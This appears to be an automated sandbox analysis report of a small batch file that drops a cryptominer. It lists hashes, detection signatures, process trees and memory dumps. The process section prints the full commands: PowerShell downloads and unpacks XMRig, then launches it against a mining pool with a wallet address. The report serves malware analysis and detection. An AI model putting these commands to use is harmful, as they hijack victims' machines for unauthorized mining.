Analysis

  • max time kernel
    1795s
  • max time network
    1797s
  • platform
    windows10-1703_x64
  • resource
    win10-20231215-en
  • resource tags

    arch:x64arch:x86image:win10-20231215-enlocale:en-usos:windows10-1703-x64system
  • submitted
    25/12/2023, 07:36

General

  • Target

    tesy - Copy (7).bat

  • Size

    608B

  • MD5

    727c8da0478af118c957ae60f7161cab

  • SHA1

    cf18105b8659e93bbd2824fa35ef1bae7b395301

  • SHA256

    97db0437ecb6f401a4674dceead7b17a885241f2ab2495652863d2240f3bedab

  • SHA512

    d9cbb46d5f3caa92d3b44301bc96ccfd5552f2ab3e5460362db3b59d23e0a5c34bf78e9387009092ac5c92b4423c03789aa1fc824a4e1388a1363daa6ab54e01

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip

Signatures

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 63 IoCs
  • Blocklisted process makes network request 2 IoCs
  • Executes dropped EXE 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip', 'xmrig-6.21.0-gcc-win64.zip')"
    1⤵
    • Blocklisted process makes network request
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:1952
  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (7).bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2044
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "Expand-Archive -Path 'xmrig-6.21.0-gcc-win64.zip' -DestinationPath '.'"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1572
    • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe
      xmrig.exe --url pool.hashvault.pro:80 --user 42BWpXvTvDbHpMyHrnjqBA5bqjnB9z65fGakJV9dQuHSS7pRkpoyx5T4vE4pUjJxPoPrLCAerjoKwdMTQKZNNEqo6zoLmPJ --pass tria2 --donate-level 1 --tls --tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      PID:4644

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_15fn3vpo.llx.ps1

    Filesize

    1B

    MD5

    c4ca4238a0b923820dcc509a6f75849b

    SHA1

    356a192b7913b04c54574d18c28d46e6395428ab

    SHA256

    6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

    SHA512

    4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

  • memory/1572-39-0x00007FFDBED50000-0x00007FFDBF73C000-memory.dmp

    Filesize

    9.9MB

  • memory/1572-41-0x00000237D8750000-0x00000237D8760000-memory.dmp

    Filesize

    64KB

  • memory/1572-42-0x00000237D8750000-0x00000237D8760000-memory.dmp

    Filesize

    64KB

  • memory/1572-66-0x00000237D8750000-0x00000237D8760000-memory.dmp

    Filesize

    64KB

  • memory/1572-117-0x00007FFDBED50000-0x00007FFDBF73C000-memory.dmp

    Filesize

    9.9MB

  • memory/1572-93-0x00000237D8860000-0x00000237D886A000-memory.dmp

    Filesize

    40KB

  • memory/1572-80-0x00000237D8A60000-0x00000237D8A72000-memory.dmp

    Filesize

    72KB

  • memory/1952-6-0x00000244D7DF0000-0x00000244D7E00000-memory.dmp

    Filesize

    64KB

  • memory/1952-25-0x00000244D7DF0000-0x00000244D7E00000-memory.dmp

    Filesize

    64KB

  • memory/1952-5-0x00007FFDAD9E0000-0x00007FFDAE3CC000-memory.dmp

    Filesize

    9.9MB

  • memory/1952-26-0x00007FFDAD9E0000-0x00007FFDAE3CC000-memory.dmp

    Filesize

    9.9MB

  • memory/1952-27-0x00000244D7DF0000-0x00000244D7E00000-memory.dmp

    Filesize

    64KB

  • memory/1952-28-0x00000244D7DF0000-0x00000244D7E00000-memory.dmp

    Filesize

    64KB

  • memory/1952-29-0x00000244D7DF0000-0x00000244D7E00000-memory.dmp

    Filesize

    64KB

  • memory/1952-10-0x00000244F0700000-0x00000244F0776000-memory.dmp

    Filesize

    472KB

  • memory/1952-7-0x00000244D7DF0000-0x00000244D7E00000-memory.dmp

    Filesize

    64KB

  • memory/1952-4-0x00000244F0550000-0x00000244F0572000-memory.dmp

    Filesize

    136KB

  • memory/1952-34-0x00007FFDAD9E0000-0x00007FFDAE3CC000-memory.dmp

    Filesize

    9.9MB

  • memory/4644-145-0x00007FF6E1650000-0x00007FF6E2153000-memory.dmp

    Filesize

    11.0MB

  • memory/4644-155-0x00007FF6E1650000-0x00007FF6E2153000-memory.dmp

    Filesize

    11.0MB

  • memory/4644-122-0x00007FF6E1650000-0x00007FF6E2153000-memory.dmp

    Filesize

    11.0MB

  • memory/4644-123-0x00000200A1B80000-0x00000200A1BA0000-memory.dmp

    Filesize

    128KB

  • memory/4644-124-0x00000200A1DC0000-0x00000200A1DE0000-memory.dmp

    Filesize

    128KB

  • memory/4644-125-0x00007FF6E1650000-0x00007FF6E2153000-memory.dmp

    Filesize

    11.0MB

  • memory/4644-126-0x00007FF6E1650000-0x00007FF6E2153000-memory.dmp

    Filesize

    11.0MB

  • memory/4644-127-0x00007FF6E1650000-0x00007FF6E2153000-memory.dmp

    Filesize

    11.0MB

  • memory/4644-129-0x00000200A1DC0000-0x00000200A1DE0000-memory.dmp

    Filesize

    128KB

  • memory/4644-128-0x00000200A1B80000-0x00000200A1BA0000-memory.dmp

    Filesize

    128KB

  • memory/4644-130-0x00007FF6E1650000-0x00007FF6E2153000-memory.dmp

    Filesize

    11.0MB

  • memory/4644-131-0x00007FF6E1650000-0x00007FF6E2153000-memory.dmp

    Filesize

    11.0MB

  • memory/4644-132-0x00007FF6E1650000-0x00007FF6E2153000-memory.dmp

    Filesize

    11.0MB

  • memory/4644-133-0x00007FF6E1650000-0x00007FF6E2153000-memory.dmp

    Filesize

    11.0MB

  • memory/4644-134-0x00007FF6E1650000-0x00007FF6E2153000-memory.dmp

    Filesize

    11.0MB

  • memory/4644-135-0x00007FF6E1650000-0x00007FF6E2153000-memory.dmp

    Filesize

    11.0MB

  • memory/4644-136-0x00007FF6E1650000-0x00007FF6E2153000-memory.dmp

    Filesize

    11.0MB

  • memory/4644-137-0x00007FF6E1650000-0x00007FF6E2153000-memory.dmp

    Filesize

    11.0MB

  • memory/4644-138-0x00007FF6E1650000-0x00007FF6E2153000-memory.dmp

    Filesize

    11.0MB

  • memory/4644-139-0x00007FF6E1650000-0x00007FF6E2153000-memory.dmp

    Filesize

    11.0MB

  • memory/4644-140-0x00007FF6E1650000-0x00007FF6E2153000-memory.dmp

    Filesize

    11.0MB

  • memory/4644-141-0x00007FF6E1650000-0x00007FF6E2153000-memory.dmp

    Filesize

    11.0MB

  • memory/4644-142-0x00007FF6E1650000-0x00007FF6E2153000-memory.dmp

    Filesize

    11.0MB

  • memory/4644-143-0x00007FF6E1650000-0x00007FF6E2153000-memory.dmp

    Filesize

    11.0MB

  • memory/4644-144-0x00007FF6E1650000-0x00007FF6E2153000-memory.dmp

    Filesize

    11.0MB

  • memory/4644-120-0x000002000D880000-0x000002000D8A0000-memory.dmp

    Filesize

    128KB

  • memory/4644-146-0x00007FF6E1650000-0x00007FF6E2153000-memory.dmp

    Filesize

    11.0MB

  • memory/4644-147-0x00007FF6E1650000-0x00007FF6E2153000-memory.dmp

    Filesize

    11.0MB

  • memory/4644-148-0x00007FF6E1650000-0x00007FF6E2153000-memory.dmp

    Filesize

    11.0MB

  • memory/4644-149-0x00007FF6E1650000-0x00007FF6E2153000-memory.dmp

    Filesize

    11.0MB

  • memory/4644-150-0x00007FF6E1650000-0x00007FF6E2153000-memory.dmp

    Filesize

    11.0MB

  • memory/4644-151-0x00007FF6E1650000-0x00007FF6E2153000-memory.dmp

    Filesize

    11.0MB

  • memory/4644-152-0x00007FF6E1650000-0x00007FF6E2153000-memory.dmp

    Filesize

    11.0MB

  • memory/4644-153-0x00007FF6E1650000-0x00007FF6E2153000-memory.dmp

    Filesize

    11.0MB

  • memory/4644-154-0x00007FF6E1650000-0x00007FF6E2153000-memory.dmp

    Filesize

    11.0MB

  • memory/4644-121-0x00000200A1740000-0x00000200A1760000-memory.dmp

    Filesize

    128KB

  • memory/4644-156-0x00007FF6E1650000-0x00007FF6E2153000-memory.dmp

    Filesize

    11.0MB

  • memory/4644-157-0x00007FF6E1650000-0x00007FF6E2153000-memory.dmp

    Filesize

    11.0MB

  • memory/4644-158-0x00007FF6E1650000-0x00007FF6E2153000-memory.dmp

    Filesize

    11.0MB

  • memory/4644-159-0x00007FF6E1650000-0x00007FF6E2153000-memory.dmp

    Filesize

    11.0MB

  • memory/4644-160-0x00007FF6E1650000-0x00007FF6E2153000-memory.dmp

    Filesize

    11.0MB

  • memory/4644-161-0x00007FF6E1650000-0x00007FF6E2153000-memory.dmp

    Filesize

    11.0MB

  • memory/4644-162-0x00007FF6E1650000-0x00007FF6E2153000-memory.dmp

    Filesize

    11.0MB

  • memory/4644-163-0x00007FF6E1650000-0x00007FF6E2153000-memory.dmp

    Filesize

    11.0MB

  • memory/4644-164-0x00007FF6E1650000-0x00007FF6E2153000-memory.dmp

    Filesize

    11.0MB

  • memory/4644-165-0x00007FF6E1650000-0x00007FF6E2153000-memory.dmp

    Filesize

    11.0MB

  • memory/4644-166-0x00007FF6E1650000-0x00007FF6E2153000-memory.dmp

    Filesize

    11.0MB

  • memory/4644-167-0x00007FF6E1650000-0x00007FF6E2153000-memory.dmp

    Filesize

    11.0MB

  • memory/4644-168-0x00007FF6E1650000-0x00007FF6E2153000-memory.dmp

    Filesize

    11.0MB

  • memory/4644-169-0x00007FF6E1650000-0x00007FF6E2153000-memory.dmp

    Filesize

    11.0MB

  • memory/4644-170-0x00007FF6E1650000-0x00007FF6E2153000-memory.dmp

    Filesize

    11.0MB

  • memory/4644-171-0x00007FF6E1650000-0x00007FF6E2153000-memory.dmp

    Filesize

    11.0MB

  • memory/4644-172-0x00007FF6E1650000-0x00007FF6E2153000-memory.dmp

    Filesize

    11.0MB

  • memory/4644-173-0x00007FF6E1650000-0x00007FF6E2153000-memory.dmp

    Filesize

    11.0MB

  • memory/4644-174-0x00007FF6E1650000-0x00007FF6E2153000-memory.dmp

    Filesize

    11.0MB

  • memory/4644-175-0x00007FF6E1650000-0x00007FF6E2153000-memory.dmp

    Filesize

    11.0MB

  • memory/4644-176-0x00007FF6E1650000-0x00007FF6E2153000-memory.dmp

    Filesize

    11.0MB

  • memory/4644-177-0x00007FF6E1650000-0x00007FF6E2153000-memory.dmp

    Filesize

    11.0MB

  • memory/4644-178-0x00007FF6E1650000-0x00007FF6E2153000-memory.dmp

    Filesize

    11.0MB

  • memory/4644-179-0x00007FF6E1650000-0x00007FF6E2153000-memory.dmp

    Filesize

    11.0MB

  • memory/4644-180-0x00007FF6E1650000-0x00007FF6E2153000-memory.dmp

    Filesize

    11.0MB

  • memory/4644-181-0x00007FF6E1650000-0x00007FF6E2153000-memory.dmp

    Filesize

    11.0MB

  • memory/4644-182-0x00007FF6E1650000-0x00007FF6E2153000-memory.dmp

    Filesize

    11.0MB

  • memory/4644-183-0x00007FF6E1650000-0x00007FF6E2153000-memory.dmp

    Filesize

    11.0MB

  • memory/4644-184-0x00007FF6E1650000-0x00007FF6E2153000-memory.dmp

    Filesize

    11.0MB

  • memory/4644-185-0x00007FF6E1650000-0x00007FF6E2153000-memory.dmp

    Filesize

    11.0MB

  • memory/4644-186-0x00007FF6E1650000-0x00007FF6E2153000-memory.dmp

    Filesize

    11.0MB

  • memory/4644-187-0x00007FF6E1650000-0x00007FF6E2153000-memory.dmp

    Filesize

    11.0MB

  • memory/4644-188-0x00007FF6E1650000-0x00007FF6E2153000-memory.dmp

    Filesize

    11.0MB